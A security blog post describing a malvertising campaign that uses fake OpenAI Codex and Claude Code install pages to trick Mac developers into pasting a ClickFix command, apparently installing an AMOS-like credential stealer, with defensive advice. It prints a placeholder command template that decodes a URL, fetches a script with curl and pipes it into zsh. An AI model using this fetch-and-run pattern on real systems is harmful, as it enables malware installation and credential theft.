Sponsored Google Ads for OpenAI Codex Lead to a Terminal Command That Installs Mac Malware. It Starts With a Real npm Install.
Cato Networks published research this week on a campaign buying sponsored Google results against searches for the macOS version of OpenAI's Codex. The ads point to a convincing download page hosted on Google Sites, complete with OpenAI branding. There is no download. The page tells you to open Terminal, paste a command, and run it, framed as a normal installation step. The command starts with something that looks like an ordinary npm install and ends with a multi-stage infection.
Cato found a parallel page impersonating Anthropic's Claude Code on shared infrastructure. If you install AI command line tools by searching for them, which is most of us, this is aimed squarely at you.
Why the command works on people who know better
The technique is called ClickFix, and its whole design is to move execution onto the victim. There is no attachment for a mail filter to quarantine. There is no downloaded binary for Gatekeeper to check the signature on. You typed it. macOS has nothing to object to, because you asked.
What makes this particular version effective is the shape of the command. It opens with what reads as a legitimate npm instruction for installing Codex, which is exactly what someone expects to see on an install page. Appended to that is the actual payload: logic that decodes a Base64-encoded URL, fetches an attacker-controlled shell script, and pipes it into zsh.
Schematically, and deliberately non-functional:
npm install -g <plausible-looking-package> ; \ <base64 blob> | base64 -d | xargs curl -fsSL | zsh
Your eye reads the first token, recognises it, and classifies the whole line as an install command. The dangerous half is past the end of the visible line in a lot of terminal widths, and past the fold in a lot of copy boxes.
I have pasted install commands from vendor docs without reading every character of them. Most people reading this have too. The reason that habit has been survivable is that the source was trustworthy, not that the practice was safe, and this campaign attacks the source rather than the practice.
What actually happens after you press return
Per Cato's write-up, the shell script fetches another stage. That stage contacts the attacker's server to report that someone took the bait, then downloads a Mach-O executable to /tmp/helper. Before launching it, the malware removes the security information macOS uses to flag files that came from the internet, which is what suppresses the usual "are you sure you want to open this" warning.
The final binaries are universal Mach-O files, so they run natively on both Intel Macs and Apple Silicon. Nobody is getting protection from architecture here.
Cato found substantial similarities to Atomic macOS Stealer, better known as AMOS, an infostealer with a long history of being distributed through fake software downloads and malvertising. The researchers stopped short of formally attributing it, saying the fingerprints point that way without being conclusive. If it is AMOS or an AMOS derivative, the objective is credentials: browser data, keychain material, wallets, tokens. For a solo operator, that is your deploy keys, your cloud console session, your Stripe dashboard and your npm publish token in one sweep.
The evasion is the professional part
Two details tell you this is not a weekend project.
Victims land on Google Sites, but the malicious content is not on Google Sites. It is pulled into the page in an iframe from attacker-controlled infrastructure. That keeps the payload off Google's property while borrowing Google's domain for credibility.
That infrastructure then fingerprints the visitor, checking things including the operating system and the path used to arrive, and serves harmless content to anyone who does not match the intended profile. A researcher who visits the URL directly on Linux sees a boring page. A developer who arrives via the ad on a Mac sees the trap. Cato noted the decoy offered both macOS and Linux download buttons but only observed the chain being delivered to Mac users.
The targeting cost the attackers almost nothing. Developers searching Google for Codex identify themselves as the target audience, and a paid ad puts the fake page above the real one. The attackers did not have to find anyone.
What I would actually do
Four things, and only the first one really matters.
Never take an install command from a search result. Get it from the vendor's own documentation or repository, reached by typing the domain yourself or from a bookmark. This single habit defeats the entire campaign. If you cannot remember the canonical domain for a tool, that is worth thirty seconds of checking before you paste anything.
Treat sponsored results as hostile by default. The ad slot sits above the organic result and is available to anyone with a credit card. On any query where the destination is going to run code on your machine, scroll past the ads.
Paste into an editor before you paste into a terminal. If a page gives you a one-liner, put it somewhere with soft wrapping and read the whole thing, particularly the end. Every ClickFix variant I have seen relies on the interesting part being visually out of the way. This costs five seconds.
Audit what a stealer would get. Assume for a moment one of these ran on your machine. What is sitting in your keychain, your shell history, your ~/.aws/credentials, your .npmrc, your .env files? For most solo operators the honest answer is "everything," and the fix is not clever: rotate anything long-lived, put publish tokens behind 2FA, and stop keeping production credentials in plaintext dotfiles. That work is worth doing on a normal Tuesday, not after an incident.
The honest take
There is nothing novel here. ClickFix is well documented, malvertising is decades old, AMOS has been distributed this way for years, and every mitigation above is standard advice. I could have written most of this post in 2024.
So the interesting question is not why the technique works, it is why it keeps working on technically sophisticated people. My answer, and it is the part of this I expect some disagreement on: our own tooling culture trained us for it. We normalised installing software by pasting an opaque command into a shell. Legitimate vendors do it. Excellent open source projects do it. curl | sh is on the front page of tools I use and recommend. We taught an entire profession that pasting a stranger's shell command is a normal way to acquire software, and then we are surprised when a stranger's shell command turns out to be from an actual stranger.
I am not going to pretend I have a clean solution, because the alternatives all have real costs and the convenience is genuine. But the next time you see a project's install instructions consist of a shell pipe, notice that the only thing separating that from this attack is your confidence about which domain you are on. That is a thin margin, and it is the entire margin.
Author
Lukas
@lukcombinator